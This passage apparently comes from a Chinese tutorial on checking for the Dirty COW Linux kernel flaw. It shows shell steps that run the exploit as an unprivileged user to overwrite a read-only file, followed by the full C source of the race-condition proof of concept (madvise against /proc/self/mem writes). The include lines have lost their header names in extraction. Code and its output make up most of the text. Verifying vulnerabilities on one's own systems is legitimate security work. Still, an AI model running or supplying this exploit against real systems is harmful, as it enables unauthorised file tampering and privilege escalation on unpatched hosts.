6、切换到test⽤户
# su - test
$ cd /tmp/
7、⽤漏洞脚本把test⽂件内容更改为m00000000000000000
$ ./dirtyc0w test m00000000000000000
mmap 7ff37b870000
madvise 0
procselfmem 1800000000
8、查看结果，test⽂件内容被更改。漏洞存在
$ cat test
m000000000000
dirtyc0w.c⽂件内容#include
#include
#include
#include
#include
#include
#include
#include
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
> This is achieved by racing the madvise(MADV_DONTNEED) system call > while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
> The in the wild exploit we are aware of doesn't work on Red Hat > Enterprise Linux 5 and 6 out of the box because on one side of > the race it writes to /proc/self/mem, but /proc/self/mem is not > writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,(uintptr_t) map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3) {
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return 1; }
pthread_t pth1,pth2;
/
*
You have to open the file in read only mode.
cve漏洞库
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same > file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}